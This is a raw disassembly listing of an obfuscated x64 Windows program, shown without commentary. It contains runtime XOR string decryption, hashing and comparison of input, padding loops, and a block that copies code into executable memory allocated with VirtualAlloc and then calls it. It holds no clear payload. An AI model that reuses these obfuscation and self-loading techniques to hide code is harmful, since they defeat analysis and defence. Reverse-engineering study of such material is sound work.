movups xmmword [rsp + 0x550], xmm0
movsd xmm0, qword [0x1402775f8]
movsd qword [rsp + 0x560], xmm0
mov ecx, dword [0x140277600]
mov dword [rsp + 0x568], ecx
cmp byte [0x140277603], 0
je 0x1402214d1
mov r9d, esi
cmp r14d, 2
jl 0x14022146a
movdqa xmmword [rsp + 0x50], xmm14
lea rcx, [rsp + 0x554]
mov edx, dword [rsp + 0x50]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm10
psubd xmm4, xmm0
andps xmm4, xmm6
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm10
psubd xmm4, xmm0
andps xmm4, xmm6
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x18
jl 0x1402212f1
cmp r9d, 0x1c
jge 0x1402214d1
movsxd rax, r9d
lea r10, [rsp + 0x550]
add r10, rax
nop dword [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x1c
jl 0x140221480
lea rdx, [rsp + 0x550]
mov rcx, r11
call fcn.1402428f0
lea rdx, [0x140242ad0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [rsp + 0x5d8]
cmp qword [rsp + 0x5f0], 0xf
cmova rdx, qword [rsp + 0x5d8]
movabs r9, 0xcbf29ce484222325
mov rcx, rsi
mov r8, qword [rsp + 0x5e8]
test r8, r8
je 0x140221542
movzx eax, byte [rcx + rdx]
xor r9, rax
movabs rax, 0x100000001b3
imul r9, rax
inc rcx
cmp rcx, r8
jb 0x140221525
lea r8, [rsp + 0x5d8]
lea rdx, [rsp + 0x2d0]
call fcn.140249b30
mov rcx, qword [rax + 8]
mov rax, qword [0x14028d758]
test rcx, rcx
cmovne rax, rcx
cmp rax, qword [0x14028d758]
je 0x1402218cc
movsd xmm0, qword [0x140276770]
movsd qword [rsp + 0x1e8], xmm0
mov ecx, dword [0x140276778]
mov dword [rsp + 0x1f0], ecx
movzx eax, word [0x14027677c]
mov word [rsp + 0x1f4], ax
cmp byte [0x14027677d], 0
je 0x140221841
mov r9d, esi
cmp r14d, 2
jl 0x1402217db
movdqa xmm2, xmm9
punpckldq xmm2, xmm9
movdqa xmm1, xmm9
punpckhdq xmm1, xmm9
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm10
movdqa xmm1, xmm9
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140276770]
xorps xmm2, xmm0
movd dword [rsp + 0x1e8], xmm2
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
movdqa xmm1, xmm13
punpckhdq xmm1, xmm13
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm10
movdqa xmm1, xmm13
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x1ec]
xorps xmm2, xmm1
movd dword [rsp + 0x1ec], xmm2
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
movdqa xmm1, xmm12
punpckhdq xmm1, xmm12
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm10
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rsp + 0x1f0], xmm2
mov r9d, 0xc
mov eax, r9d
lea r10, [rsp + 0x1e8]
add r10, rax
nop dword [rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x6b
sub r8b, dl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xe
jl 0x1402217f0
lea rdx, [rsp + 0x1e8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1402428f0
lea rdx, [0x140242ad0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rsp + 0x6b8]
call fcn.140240fd0
nop
lea rcx, [rsp + 0x698]
call fcn.140240fd0
nop
lea rcx, [rsp + 0x678]
call fcn.140240fd0
nop
lea rcx, [rsp + 0x5f8]
call fcn.140240fd0
nop
lea rcx, [rsp + 0x618]
call fcn.140240fd0
nop
lea rcx, [rsp + 0x658]
call fcn.140240fd0
nop
lea rcx, [rsp + 0x5d8]
call fcn.140240fd0
jmp 0x140222a3b
lea r8, [rsp + 0x5d8]
lea rdx, [rsp + 0x2c0]
call fcn.140243680
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x1c84], 0xffffffff
mov dword [rsp + 0x904], eax
mov rdx, r13
nop dword [rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x904], eax
inc rdx
cmp rdx, 0x270
jb 0x140221900
mov dword [rsp + 0x900], 0x270
mov dword [rsp + 0x40], esi
lea rcx, [rsp + 0x208]
call fcn.1401f17b0
mov r14, qword [rsp + 0x208]
add r14, 0x5f5e100
nop dword [rax]
lea rcx, [rsp + 0x2a0]
call fcn.1401f17b0
cmp qword [rax], r14
jge 0x140221ad8
mov edi, 0x186a0
nop dword [rax + rax]
lea rcx, [rsp + 0x900]
call fcn.1402526b0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x1402219ab
nop dword [rax + rax]
lea rcx, [rsp + 0x900]
call fcn.1402526b0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x140221990
shr rax, 0x20
lea ebx, [rax + 0x7fffff9c]
xor ebx, 0x80000000
cmove ebx, r13d
lea rcx, [rsp + 0x900]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x1402219fb
nop word [rax + rax]
lea rcx, [rsp + 0x900]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x1402219e0
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x900]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x140221a4b
nop
lea rcx, [rsp + 0x900]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x140221a30
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x900]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x140221a9b
nop
lea rcx, [rsp + 0x900]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x140221a80
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
sub eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv ebx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv ebx
mov dword [rsp + 0x40], edx
sub rdi, 1
jne 0x140221970
jmp 0x140221950
mov eax, dword [rsp + 0x40]
mov eax, dword [0x140277ed4]
mov dword [rsp + 0x40], eax
mov r15d, dword [0x14028a090]
cmp byte [0x140277ed7], 0
je 0x140221c0c
mov r9d, esi
cmp r15d, 2
jl 0x140221bb1
movdqa xmm2, xmm9
punpckldq xmm2, xmm9
movdqa xmm1, xmm9
punpckhdq xmm1, xmm9
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm10
movdqa xmm1, xmm9
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
paddb xmm2, xmm14
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x40], xmm2
jmp 0x140221c0c
lea r10, [rsp + 0x40]
nop word [rax + rax]
mov eax, 0x22b63cbf
mul r9d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x323e34a3
mul r9d
mov eax, r9d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
movsx eax, al
imul ecx, eax, 0x6b
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 4
jl 0x140221bc0
lea rcx, [rsp + 0x40]
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140221c20
lea rcx, [rsp + 0x5f8]
cmp qword [rsp + 0x610], 0xf
cmova rcx, qword [rsp + 0x5f8]
mov r8, qword [rsp + 0x608]
cmp r8, rax
jne 0x1402229c6
lea rdx, [rsp + 0x40]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1402229c6
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x770], xmm0
movups xmmword [rsp + 0x780], xmm0
movups xmmword [rsp + 0x790], xmm0
movups xmmword [rsp + 0x7a0], xmm0
movups xmmword [rsp + 0x7b0], xmm0
movups xmmword [rsp + 0x7c0], xmm0
movups xmmword [rsp + 0x7d0], xmm0
mov qword [rsp + 0x7e0], rax
lea rcx, [rsp + 0x770]
call fcn.14023e8a0
nop
lea rcx, [rsp + 0x5b0]
call fcn.1401f7200
nop
mov r8, rax
cmp qword [rax + 0x18], 7
jbe 0x140221cd4
mov r8, qword [rax]
mov rax, qword [rax + 0x10]
lea r9, [r8 + rax*2]
lea rdx, [rsp + 0x570]
lea rcx, [rsp + 0x770]
call fcn.140240be0
mov ebx, dword [rsp + 0x44]
bts ebx, 0x17
mov dword [rsp + 0x44], ebx
lea rcx, [rsp + 0x5b0]
call fcn.140240ed0
lea rdx, [rsp + 0x570]
cmp qword [rsp + 0x588], 0xf
cmova rdx, qword [rsp + 0x570]
mov r8, qword [rsp + 0x580]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140249550
lea rdx, [0x140242ad0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movzx eax, word [0x140277fd4]
mov word [rsp + 0x40], ax
cmp byte [0x140277fd5], 0
je 0x140221d67
mov byte [rsp + 0x40], 0x22
xor byte [rsp + 0x41], 0x43
mov eax, dword [str.ccgGqqwwM]
mov dword [rsp + 0x50], eax
cmp byte [0x14027808b], 0
je 0x140221e8c
mov r9d, esi
cmp r15d, 2
jl 0x140221e35
movdqa xmm2, xmm9
punpckldq xmm2, xmm9
movdqa xmm1, xmm9
punpckhdq xmm1, xmm9
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm10
movdqa xmm1, xmm9
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
paddb xmm2, xmm14
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x50], xmm2
jmp 0x140221e8c
lea r10, [rsp + 0x50]
nop word [rax + rax]
mov eax, 0x22b63cbf
mul r9d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x323e34a3
mul r9d
mov eax, r9d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
movsx eax, al
imul ecx, eax, 0x6b
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 4
jl 0x140221e40
movsd xmm0, qword [str._67if_osS]
movsd qword [rsp + 0x70], xmm0
movzx eax, word [0x140275f48]
mov word [rsp + 0x78], ax
cmp byte [0x140275f49], 0
je 0x140221ee1
mov byte [rsp + 0x70], 0x63
xor byte [rsp + 0x71], 0x43
xor byte [rsp + 0x72], 0x45
xor byte [rsp + 0x73], 0x47
xor byte [rsp + 0x74], 0x49
xor byte [rsp + 0x75], 0x4b
xor byte [rsp + 0x76], 0x4d
xor byte [rsp + 0x77], 0x4f
xor byte [rsp + 0x78], 0x51
xor byte [rsp + 0x79], 0x53
lea rax, [rsp + 0x70]
mov rcx, 0xffffffffffffffff
nop dword [rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x140221ef0
movabs rax, 0x7fffffffffffffff
mov rdx, qword [rsp + 0x580]
sub rax, rdx
cmp rax, rcx
jb 0x140222eb8
lea rax, [rsp + 0x570]
cmp qword [rsp + 0x588], 0xf
cmova rax, qword [rsp + 0x570]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x70]
lea rcx, [rsp + 0x120]
call fcn.1402462d0
bts ebx, 0x18
mov dword [rsp + 0x44], ebx
lea rax, [rsp + 0x50]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140221f66
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x120]
call fcn.14023f5d0
xorps xmm0, xmm0
movups xmmword [rsp + 0x100], xmm0
mov qword [rsp + 0x110], rsi
mov qword [rsp + 0x118], rsi
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x100], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x110], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
bts ebx, 0x19
mov dword [rsp + 0x44], ebx
lea rdx, [rsp + 0x618]
cmp qword [rsp + 0x630], 0xf
cmova rdx, qword [rsp + 0x618]
mov r8, qword [rsp + 0x628]
lea rcx, [rsp + 0x100]
call fcn.14023f5d0
xorps xmm0, xmm0
movups xmmword [rsp + 0x260], xmm0
mov qword [rsp + 0x270], rsi
mov qword [rsp + 0x278], rsi
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x260], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x270], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
bts ebx, 0x1a
mov dword [rsp + 0x44], ebx
lea rax, [rsp + 0x40]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140222050
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x260]
call fcn.14023f5d0
xorps xmm0, xmm0
movups xmmword [rsp + 0x6e8], xmm0
mov qword [rsp + 0x6f8], rsi
mov qword [rsp + 0x700], rsi
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x6e8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x6f8], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
bts ebx, 0x1b
mov dword [rsp + 0x44], ebx
lea rcx, [rsp + 0x260]
call fcn.140240fd0
nop
lea rcx, [rsp + 0x100]
call fcn.140240fd0
nop
lea rcx, [rsp + 0x120]
call fcn.140240fd0
lea rax, [rsp + 0x6e8]
cmp qword [rsp + 0x700], 0xf
cmova rax, qword [rsp + 0x6e8]
mov qword [rsp + 0x50], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x550], xmm0
lea rax, [rsp + 0x1d58]
movabs r14, 0xff00ff00ff00ff00
mov qword [rsp + 0x558], r14
mov qword [rsp + 0x560], rax
mov rbx, qword [rax]
xor rbx, r14
mov qword [rsp + 0x550], rbx
mov qword [rax], rsi
mov ecx, esi
mov rax, qword [0x1402910a0]
lea rdi, [0x140242e20]
test rax, rax
je 0x14022217c
mov rdx, rsi
cmp rax, rdi
je 0x14022216b
inc ecx
mov edx, ecx
mov rax, qword [r12 + rcx*8 + 0x2910a0]
test rax, rax
jne 0x140222153
jmp 0x14022217c
mov r8, qword [r12 + rdx*8 + 0x28f710]
test r8, r8
jne 0x14022225f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1402221a5
mov r8, rsi
jmp 0x14022223e
mov rax, rdi
mov rcx, r8
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1402221b0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14028d160]
mov qword [r12 + rax*8 + 0x2910a0], rdi
mov qword [r12 + rax*8 + 0x28f710], r8
inc rax
mov qword [0x14028d160], rax
lea rdx, [rsp + 0x50]
lea rcx, [fcn.1401f41f0]
call r8
nop
xor rbx, r14
mov qword [rsp + 0x550], rbx
lea rax, [rsp + 0x1d58]
mov qword [rax], rbx
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x1c84], 0xffffffff
mov dword [rsp + 0x904], eax
mov rdx, r13
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x904], eax
inc rdx
cmp rdx, 0x270
jb 0x1402222a0
mov dword [rsp + 0x900], 0x270
mov dword [rsp + 0x40], esi
lea rcx, [rsp + 0x210]
call fcn.1401f17b0
mov r14, qword [rsp + 0x210]
add r14, 0x5f5e100
nop dword [rax]
lea rcx, [rsp + reloc.SHELL32.dll_IsUserAnAdmin]
call fcn.1401f17b0
cmp qword [rax], r14
jge 0x140222478
mov edi, 0x186a0
nop dword [rax + rax]
lea rcx, [rsp + 0x900]
call fcn.1402526b0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x14022234b
nop dword [rax + rax]
lea rcx, [rsp + 0x900]
call fcn.1402526b0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x140222330
shr rax, 0x20
lea ebx, [rax + 0x7fffff9c]
xor ebx, 0x80000000
cmove ebx, r13d
lea rcx, [rsp + 0x900]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14022239b
nop word [rax + rax]
lea rcx, [rsp + 0x900]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x140222380
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x900]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x1402223eb
nop
lea rcx, [rsp + 0x900]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x1402223d0
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x900]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14022243b
nop
lea rcx, [rsp + 0x900]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x140222420
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
sub eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv ebx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv ebx
mov dword [rsp + 0x40], edx
sub rdi, 1
jne 0x140222310
jmp 0x1402222f0
mov eax, dword [rsp + 0x40]
lea rax, [rsp + 0x570]
cmp qword [rsp + 0x588], 0xf
cmova rax, qword [rsp + 0x570]
mov qword [rsp + 0x290], rax
mov rax, qword [rsp + 0x580]
mov qword [rsp + 0x298], rax
call fcn.140265a4c
movaps xmm0, xmmword [rsp + 0x290]
movdqa xmmword [rsp + 0x50], xmm0
lea r8, [rsp + 0x50]
mov edx, eax
lea rcx, [rsp + 0x550]
call fcn.1401f2540
mov edi, dword [rsp + 0x44]
or edi, 0x600000
mov dword [rsp + 0x44], edi
lea rcx, [rsp + 0x550]
call fcn.1401f2cd0
movzx ebx, al
lea rcx, [rsp + 0x550]
call fcn.140240ed0
test bl, bl
je 0x140222629
mov eax, dword [str.27_5kM]
mov dword [rsp + 0xb8], eax
movzx ecx, word [0x14027897c]
mov word [rsp + 0xbc], cx
movzx eax, byte [0x14027897e]
mov byte [rsp + 0xb8], 0x73
xor byte [rsp + 0xb9], 0x43
xor byte [rsp + 0xba], 0x45
xor byte [rsp + 0xbb], 0x47
xor cl, 0x49
mov byte [rsp + 0xbc], cl
xor byte [rsp + 0xbd], 0x4b
xor al, 0x4d
mov byte [rsp + 0xbe], al
lea r8, [rsp + 0x570]
lea rdx, [rsp + 0xb8]
lea rcx, [rsp + 0x5b0]
call fcn.140242c40
nop
lea rcx, [rsp + 0x5b0]
call fcn.1401f8d00
movsd xmm0, qword [0x140276410]
movsd qword [rsp + 0xf0], xmm0
movzx eax, byte [0x140276418]
mov byte [rsp + 0xf0], 0x45
xor byte [rsp + 0xf1], 0x43
xor byte [rsp + 0xf2], 0x45
xor byte [rsp + 0xf3], 0x47
xor byte [rsp + 0xf4], 0x49
xor byte [rsp + 0xf5], 0x4b
xor byte [rsp + 0xf6], 0x4d
xor byte [rsp + 0xf7], 0x4f
xor al, 0x51
mov byte [rsp + 0xf8], al
lea rdx, [rsp + 0xf0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1402428f0
lea rdx, [0x140242ad0]
mov rcx, rax
